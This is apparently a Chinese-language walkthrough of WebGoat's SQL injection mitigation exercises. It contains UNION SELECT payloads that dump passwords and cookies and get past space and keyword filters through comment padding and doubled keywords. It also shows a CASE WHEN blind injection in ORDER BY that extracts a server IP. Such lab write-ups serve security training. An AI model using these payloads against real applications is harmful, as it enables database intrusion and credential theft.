SQL Injection (mitigation)

Writing safe code #

Input validation #

题目错误,需要将/SqlInjectionMitigations/attack -> /SqlOnlyInputValidation/attack

校验不能包含空格

userid_sql_only_input_validation=zqq'/**/union/**/select/**/userid,user_name,password,cookie,'5','6',7/**/from/**/user_system_data/**/--/**/


题目错误,需要将/SqlInjectionMitigations/attack -> /SqlOnlyInputValidationOnKeywords/attack

校验不能包含空格和select/from关键字

userid_sql_only_input_validation_on_keywords=zqq'/**/union/**/sselectelect/**/userid,user_name,password,cookie,'5','6',7/**/frfromom/**/user_system_data/**/--/**/

order by #

下面这页是在说,order by 直接像下面这样使用prepareStatement是没有意义的

SELECT * FROM t ORDER BY ?
数据库会把 ? 当成一个“值”,ORDER BY 'created_at',这对所有行都是同一个常量,排序没有意义
order by 后面需要跟的是列的名字

如果想给order by 加一些动态的属性,可以使用CASE

SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname END)


order by 存在sql注入,报错得到执行语句select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by id'

可以使用上面的case when then else end,判断when的条件是否成立,是否成立会决定实际参与排序的列,页面响应会发生变化,以此实现webgoat-prdip前3位的判断

case when((select substring(ip,3,1) from SERVERS where hostname = 'webgoat-prd') ='4') then id else hostname end

响应按照hostname进行排序,说明webgoat-prdip第三位不为5

响应按照id进行排序,说明webgoat-prdip第三位为4

以此类推,可得ip为104.130.219.202